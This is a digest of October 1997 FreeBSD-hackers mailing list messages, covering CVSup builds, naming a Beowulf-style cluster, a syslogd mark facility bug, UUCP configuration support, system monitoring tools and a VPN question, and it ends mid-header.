ESMTP id PAA04703 for ; Mon, 6 Oct 1997 15:00:27 -0500 (CDT) X-Sender: rkw@mail.dataplex.net Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 6 Oct 1997 15:00:16 -0500 To: hackers@freebsd.org From: Richard Wackerbarth Subject: Help finding CVSup 15.2 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk At John's request, I upgraded to the latest CVSup. (He's OOT. Otherwise I would have just asked him to help solve this) Unfortunately, the package needs some "X" libraries. I don't have them on my servers. Can someone point me to a version of CVSup 15.2 that is linked without using the graphical libraries? Richard Wackerbarth From owner-freebsd-hackers Mon Oct 6 13:29:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA26139 for hackers-outgoing; Mon, 6 Oct 1997 13:29:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from mail.virginia.edu (mail.Virginia.EDU [128.143.2.9]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA26132; Mon, 6 Oct 1997 13:29:50 -0700 (PDT) (envelope-from atf3r@cs.virginia.edu) Received: from mail.cs.virginia.edu by mail.virginia.edu id aa04444; 6 Oct 97 16:29 EDT Received: from stretch.cs.virginia.edu (atf3r@stretch-fo.cs.Virginia.EDU [128.143.136.14]) by ares.cs.Virginia.EDU (8.8.5/8.8.5) with ESMTP id QAA03566; Mon, 6 Oct 1997 16:29:41 -0400 (EDT) Received: (from atf3r@localhost) by stretch.cs.virginia.edu (8.8.5/8.8.5) id QAA21402; Mon, 6 Oct 1997 16:29:39 -0400 (EDT) Date: Mon, 6 Oct 1997 16:29:38 -0400 (EDT) From: "Adrian T. Filipi-Martin" Reply-To: adrian@virginia.edu To: Terry Lambert cc: "Ron G. Minnich" , dcarmich@mcs.com, freebsd-hackers@freebsd.org, freebsd-smp@freebsd.org Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710061849.LAA15815@usr04.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 6 Oct 1997, Terry Lambert wrote: > > A cluster based on FreeBSD would > > I suppose have to have a different name, but we've done a lot of computing > > over the last three years with such a cluster: works fine. > > I vote for "Legion", because of the obvious tip of the hat to Chuck... You don't mean "Legion" as in http://www.cs.virginia.edu/~legion/ do you? These folks while open to newer and better hardware, they also seem to have become stuck on linux because it's what they could in stall on their desktops with IDE cdroms a long time ago. I tried to steer them into the light, but.... The name is derivative from the Herbert's "Dune" books. It's predecessor was "Mentat". Adrian -- adrian@virginia.edu ---->>>>| If I were stranded on a desert island, and System Administrator --->>>| I could only have one OS for my computer, Neurosurgical Visualzation Lab -->>| it would be FreeBSD. Think about it..... http://www.nvl.virginia.edu/ ->| http://www.freebsd.org/ From owner-freebsd-hackers Mon Oct 6 13:38:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA27016 for hackers-outgoing; Mon, 6 Oct 1997 13:38:48 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA27005 for ; Mon, 6 Oct 1997 13:38:45 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA01403; Mon, 6 Oct 1997 22:38:44 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id TAA04436; Mon, 6 Oct 1997 19:43:49 +0200 (MET DST) Message-ID: <19971006194349.BG41546@uriah.heep.sax.de> Date: Mon, 6 Oct 1997 19:43:49 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: tarkhil@mgt.msk.ru (Alexander B. Povolotsky) Subject: Re: syslogd not writing marks References: <199710060550.JAA21771@asteroid.mgt.msk.ru> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710060550.JAA21771@asteroid.mgt.msk.ru>; from Alexander B. Povolotsky on Oct 6, 1997 09:50:57 +0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Alexander B. Povolotsky wrote: > I'm trying to set syslogd's marks, but so far it doesn't work. I've put > syslog.info /var/log/alive > into syslog.conf, restarted syslogd... and nothing appears. Wrong facility: The special facility ``mark'' receives a message at priority ``info'' ev- ery 20 minutes (see syslogd(8)). This is not enabled by a facility field containing an asterisk. > [...skip...] > X X X X X 8 X X X X X X X X X X X X X X X X X X X FORW: asteroid > X X X X X 8 X X X X X X X X X X X X X X X X X X X FILE: /var/log/alive > 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 X FORW: asteroid > 7 3 2 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 X CONSOLE: /dev/console > 7 5 2 5 5 5 6 3 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 X FILE: /var/log/messages > X X 6 X X X X X X X X X X X X X X X X X X X X X X FILE: /var/log/maillog > X X X X X X 6 X X X X X X X X X X X X X X X X X X FILE: /var/log/lpd-errs > X X X X X X X X X 8 X X X X X X X X X X X X X X X FILE: /var/cron/log > 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 X USERS: root, > X X X X X X X 3 X X X X X X X X X X X X X X X X X USERS: root, > 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 X USERS: root, > 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 X WALL: > 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 X FILE: /var/log/slip. ... > 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 X FILE: /var/log/ppp.l ... ^ | This is `mark'. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Oct 6 13:40:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA27322 for hackers-outgoing; Mon, 6 Oct 1997 13:40:50 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA27306 for ; Mon, 6 Oct 1997 13:40:45 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA01432 for freebsd-hackers@FreeBSD.ORG; Mon, 6 Oct 1997 22:40:38 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id TAA04448; Mon, 6 Oct 1997 19:48:55 +0200 (MET DST) Message-ID: <19971006194854.MT02377@uriah.heep.sax.de> Date: Mon, 6 Oct 1997 19:48:54 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: UUCP (important clarification) References: <19971005234534.44590@dog.farm.org> <2369.876125643@time.cdrom.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <2369.876125643@time.cdrom.com>; from Jordan K. Hubbard on Oct 6, 1997 01:14:03 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > Anyone masochistic enough to still use UUCP in this day and age is > also capable of fixing any breakage that may occur, I think. Go for it. ;) No breakage will happen, although i don't see much need to enable the old stuff. I couldn't even remember all the config file syntax when i had to use HDB, let alone now where Taylor config is way easier. Anyway, my only concern would be the added bloat, not any suspectible breakage. Btw., i'm also using UUCP on a daily basis, it's the only/best working batch file transmission protocol still, and as such far better suited for a dialup site than anything else. Jordan, feel free to go ahead re-enabling the old config file parsers for the true masochists. :-) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Oct 6 13:41:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA27352 for hackers-outgoing; Mon, 6 Oct 1997 13:41:00 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA27341 for ; Mon, 6 Oct 1997 13:40:56 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA01433; Mon, 6 Oct 1997 22:40:49 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id TAA04467; Mon, 6 Oct 1997 19:54:57 +0200 (MET DST) Message-ID: <19971006195457.QC24835@uriah.heep.sax.de> Date: Mon, 6 Oct 1997 19:54:57 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG (FreeBSD hackers mailinglist) Cc: sebesty@cs.elte.hu (Zoltan Sebestyen) Subject: Re: cpu/memory monitoring References: <199710060857.SAA01151@word.smith.net.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Zoltan Sebestyen on Oct 6, 1997 14:58:22 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Zoltan Sebestyen wrote: > Top is an excellent example on how to > get them, but its source code is a bit complex, that's why I asked for > a program with simpler code. I dealt with getloadavg() for a while, but > it gives not that kind of information I wanted. systat? -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Oct 6 13:41:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA27397 for hackers-outgoing; Mon, 6 Oct 1997 13:41:08 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA27368 for ; Mon, 6 Oct 1997 13:41:02 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA01441; Mon, 6 Oct 1997 22:41:01 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id UAA04504; Mon, 6 Oct 1997 20:09:45 +0200 (MET DST) Message-ID: <19971006200945.WM23236@uriah.heep.sax.de> Date: Mon, 6 Oct 1997 20:09:45 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: tarkhil@mgt.msk.ru Subject: Re: bug in syslogd! References: <199710061132.PAA19069@asteroid.mgt.msk.ru> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710061132.PAA19069@asteroid.mgt.msk.ru>; from Alexander B. Povolotsky on Oct 6, 1997 15:32:20 +0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Alexander B. Povolotsky wrote: > Trying to set up syslogd to make time marks, I've found bug in /usr/include/ > syslog.h: > > in facilitynames, _ALL_ facility codes are shifted 3 bits left. EXCEPT > INTERNAL_MARK, so it is impossible to set mark.info from syslog.conf. I Oh well... seems you're right on this. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Oct 6 13:42:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA27598 for hackers-outgoing; Mon, 6 Oct 1997 13:42:49 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA27586 for ; Mon, 6 Oct 1997 13:42:44 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA01450; Mon, 6 Oct 1997 22:41:32 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id UAA04530; Mon, 6 Oct 1997 20:21:13 +0200 (MET DST) Message-ID: <19971006202112.EG37985@uriah.heep.sax.de> Date: Mon, 6 Oct 1997 20:21:12 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG, tarkhil@mgt.msk.ru Subject: Re: bug in syslogd! References: <199710061132.PAA19069@asteroid.mgt.msk.ru> <19971006200945.WM23236@uriah.heep.sax.de> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <19971006200945.WM23236@uriah.heep.sax.de>; from J Wunsch on Oct 6, 1997 20:09:45 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I wrote: > > in facilitynames, _ALL_ facility codes are shifted 3 bits left. EXCEPT > > INTERNAL_MARK, so it is impossible to set mark.info from syslog.conf. I > > Oh well... seems you're right on this. Ok, fixed, spasibo! -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Oct 6 13:44:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA27884 for hackers-outgoing; Mon, 6 Oct 1997 13:44:45 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA27582; Mon, 6 Oct 1997 13:42:34 -0700 (PDT) (envelope-from tlambert@usr04.primenet.com) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id NAA25588; Mon, 6 Oct 1997 13:42:26 -0700 (MST) From: Terry Lambert Message-Id: <199710062042.NAA25588@usr04.primenet.com> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD To: adrian@virginia.edu Date: Mon, 6 Oct 1997 20:42:26 +0000 (GMT) Cc: tlambert@primenet.com, rminnich@sarnoff.com, dcarmich@mcs.com, freebsd-hackers@freebsd.org, freebsd-smp@freebsd.org In-Reply-To: from "Adrian T. Filipi-Martin" at Oct 6, 97 04:29:38 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I vote for "Legion", because of the obvious tip of the hat to Chuck... > > You don't mean "Legion" as in http://www.cs.virginia.edu/~legion/ > do you? These folks while open to newer and better hardware, they also > seem to have become stuck on linux because it's what they could in stall > on their desktops with IDE cdroms a long time ago. I tried to steer them > into the light, but.... > > The name is derivative from the Herbert's "Dune" books. It's > predecessor was "Mentat". Nope. Chuck is the BSD Daemon. "Legion" is a biblical reference; do the math. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Oct 6 14:15:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA29296 for hackers-outgoing; Mon, 6 Oct 1997 14:15:13 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA29291 for ; Mon, 6 Oct 1997 14:15:10 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: from argus.tfs.net (pm3-p7.tfs.net [206.154.183.199]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id QAA24858; Mon, 6 Oct 1997 16:13:43 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.7/8.8.5) id QAA04353; Mon, 6 Oct 1997 16:15:05 -0500 (CDT) From: Jim Bryant Message-Id: <199710062115.QAA04353@argus.tfs.net> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710061849.LAA15815@usr04.primenet.com> from Terry Lambert at "Oct 6, 97 06:49:28 pm" To: tlambert@primenet.com (Terry Lambert) Date: Mon, 6 Oct 1997 16:15:04 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > > A cluster based on FreeBSD would > > I suppose have to have a different name, but we've done a lot of computing > > over the last three years with such a cluster: works fine. > > I vote for "Legion", because of the obvious tip of the hat to Chuck... No. Reasons: read bible, or watch Red Dwarf episode by same name, in neither of which was the character Legion very successful. "Hyperpool", it sticks, it has no biblical or comedic references, it fits the style of terminology used in massively parallel literature [hmmm... massively parallel literature, that's me with nine books open in my lap and on the desk with about twenty or so on the floor], people will take it more seriously than something named Legion, etc... blah blah blah. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28pw voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Mon Oct 6 14:21:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA29720 for hackers-outgoing; Mon, 6 Oct 1997 14:21:29 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA29712 for ; Mon, 6 Oct 1997 14:21:19 -0700 (PDT) (envelope-from hoek@hwcn.org) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.7/8.8.7) with ESMTP id RAA16765; Mon, 6 Oct 1997 17:21:42 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.7/8.8.7) with SMTP id RAA27953; Mon, 6 Oct 1997 17:22:00 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Mon, 6 Oct 1997 17:21:58 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca To: Terry Lambert cc: freebsd-hackers@FreeBSD.ORG Subject: Re: devfs / cdevsw In-Reply-To: <199710060752.AAA25610@usr02.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 6 Oct 1997, Terry Lambert wrote: > I don't mean that the kerneitself should be, but in general, it is > a mistake toartifically restrict your market for nothing more than > religious reasons. Unless your goals are religious... It would be a mistake not to take care of our own first. Where that happens to coincide with others, then good, but where not, c'est la vie. ;-) -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Mon Oct 6 14:30:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA00457 for hackers-outgoing; Mon, 6 Oct 1997 14:30:56 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA00106; Mon, 6 Oct 1997 14:27:41 -0700 (PDT) (envelope-from nate@rocky.mt.sri.com) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id PAA16326; Mon, 6 Oct 1997 15:26:37 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id PAA01718; Mon, 6 Oct 1997 15:26:34 -0600 (MDT) Date: Mon, 6 Oct 1997 15:26:34 -0600 (MDT) Message-Id: <199710062126.PAA01718@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Terry Lambert Cc: adrian@virginia.edu, rminnich@sarnoff.com, dcarmich@mcs.com, freebsd-hackers@freebsd.org, freebsd-smp@freebsd.org Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710062042.NAA25588@usr04.primenet.com> References: <199710062042.NAA25588@usr04.primenet.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > I vote for "Legion", because of the obvious tip of the hat to Chuck... .. > Chuck is the BSD Daemon. "Legion" is a biblical reference; do the > math. 8-). Legion in the Bible is translated to mean 'more than one Demon' (note the difference in spelling. Chuck is a singular entity, and one whose purpose is to do good, not evil. Nate From owner-freebsd-hackers Mon Oct 6 14:33:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA00720 for hackers-outgoing; Mon, 6 Oct 1997 14:33:15 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.fr [193.56.58.253]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA00697 for ; Mon, 6 Oct 1997 14:33:08 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.fr [193.56.58.33]) by mexico.brainstorm.eu.org (8.8.4/8.8.4) with ESMTP id XAA22156 for ; Mon, 6 Oct 1997 23:32:15 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.8.6/brasil-1.2) with UUCP id XAA24050 for freebsd-hackers@FreeBSD.ORG; Mon, 6 Oct 1997 23:31:47 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.7/keltia-2.11/nospam) id XAA21286; Mon, 6 Oct 1997 23:07:47 +0200 (CEST) (envelope-from roberto) Message-ID: <19971006230747.20553@keltia.freenix.fr> Date: Mon, 6 Oct 1997 23:07:47 +0200 From: Ollivier Robert To: freebsd-hackers@FreeBSD.ORG Subject: Re: UUCP (important clarification) References: <19971005234534.44590@dog.farm.org> <2369.876125643@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84 In-Reply-To: <2369.876125643@time.cdrom.com>; from Jordan K. Hubbard on Mon, Oct 06, 1997 at 01:14:03AM -0700 X-Operating-System: FreeBSD 3.0-CURRENT Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Jordan K. Hubbard: > Anyone masochistic enough to still use UUCP in this day and age is > also capable of fixing any breakage that may occur, I think. Go for it. ;) If it could be that simple (I don't mind being labelled masochistic) but in some countries like France or Germany, you pay phone calls by the minute and when you want to transfer mail & news, you appreciate UUCP, the automatic connections, the compression of news batches and so on. Remember how much we pay for a mere 64 Kbps line ? -- Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #35: Sun Sep 21 19:28:07 CEST 1997 From owner-freebsd-hackers Mon Oct 6 15:07:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA03139 for hackers-outgoing; Mon, 6 Oct 1997 15:07:29 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from dog.farm.org (gw-serial2.farm.org [207.111.140.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA03132; Mon, 6 Oct 1997 15:07:23 -0700 (PDT) (envelope-from dog.farm.org!dk) Received: (from dk@localhost) by dog.farm.org (8.7.5/dk#3) id PAA27479; Mon, 6 Oct 1997 15:10:15 -0700 (PDT) Message-ID: <19971006151015.56189@dog.farm.org> Date: Mon, 6 Oct 1997 15:10:15 -0700 From: Dmitry Kohmanyuk =?KOI8-R?B?5M3J1NLJyiDrz8jNwc7Ayw==?= To: "Jonathan M. Bresler" Cc: "Jordan K. Hubbard" , dk+@ua.net, grog@lemis.com, mike@smith.net.au, pechter@lakewood.com, freebsd-hackers@FreeBSD.ORG Subject: Re: UUCP (important clarification) Reply-To: dk+@ua.net References: <2369.876125643@time.cdrom.com> <199710061833.LAA17779@hub.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <199710061833.LAA17779@hub.freebsd.org>; from "Jonathan M. Bresler" on Mon, Oct 06, 1997 at 11:33:13AM -0700 X-Class: Fast X-OS-Used: FreeBSD 2.2-960501-SNAP X-NIC-Handle: DK379 X-Pager-Email: dk@interpage.net Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Oct 06, 1997 at 11:33:13AM -0700, Jonathan M. Bresler wrote: > > Given that I don't particularly *care* about UUCP in the first place, > > I really don't mind what goes into 2.2.5 as far as this is concerned. > > > > Anyone masochistic enough to still use UUCP in this day and age is > > also capable of fixing any breakage that may occur, I think. Go for it. ;) > > just dont break the current support ot taylor config files. > taylor should remain the default configuration. It is always been this way in taylor: if you have several config styles enabled, taylor configs are checked for first, then V2, then HDB. See the comment in the patch I have sent. The whole idea of this is to make FreeBSD drop-in compatible with all SunOS boxes doing UUCP ;-) From owner-freebsd-hackers Mon Oct 6 15:58:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA06523 for hackers-outgoing; Mon, 6 Oct 1997 15:58:34 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from bmccane.uit.net (bmccane.uit.net [209.83.205.48]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA06511 for ; Mon, 6 Oct 1997 15:58:28 -0700 (PDT) (envelope-from wbm@bmccane.uit.net) Received: (from root@localhost) by bmccane.uit.net (8.8.7/8.8.5) id RAA04576 for hackers@freebsd.org; Mon, 6 Oct 1997 17:58:18 -0500 (CDT) Date: Mon, 6 Oct 1997 17:58:18 -0500 (CDT) From: Wm Brian McCane Message-Id: <199710062258.RAA04576@bmccane.uit.net> To: hackers@freebsd.org Subject: SKIP Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello, I asked a while back about setting up a Virtual Private Network. Many people suggested SKIP and 1 suggested swIPe. I have been looking at the SKIP documentation, and I think we may have had a slight misunderstanding. From what I have read so far in the SKIP docs, it is to connect Machine A to Machine B via a "secure" pipe. And I have seen a little bit about possible connection Machine A to LAN C. But what I need to do is connect LAN C to LAN D. Is this possible with SKIP, swIPe, or a player to be named later? brian From owner-freebsd-hackers Mon Oct 6 16:00:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA06714 for hackers-outgoing; Mon, 6 Oct 1997 16:00:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from coconut.itojun.org (root@coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA06706 for ; Mon, 6 Oct 1997 16:00:51 -0700 (PDT) (envelope-from itojun@itojun.org) From: itojun@itojun.org Received: from localhost (itojun@localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.8.5/3.6Wbeta6) with ESMTP id IAA08052; Tue, 7 Oct 1997 08:00:31 +0900 (JST) To: Warner Losh cc: freebsd-hackers@FreeBSD.ORG In-reply-to: imp's message of Mon, 06 Oct 1997 11:27:59 CST. <199710061727.LAA14616@harmony.village.org> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: 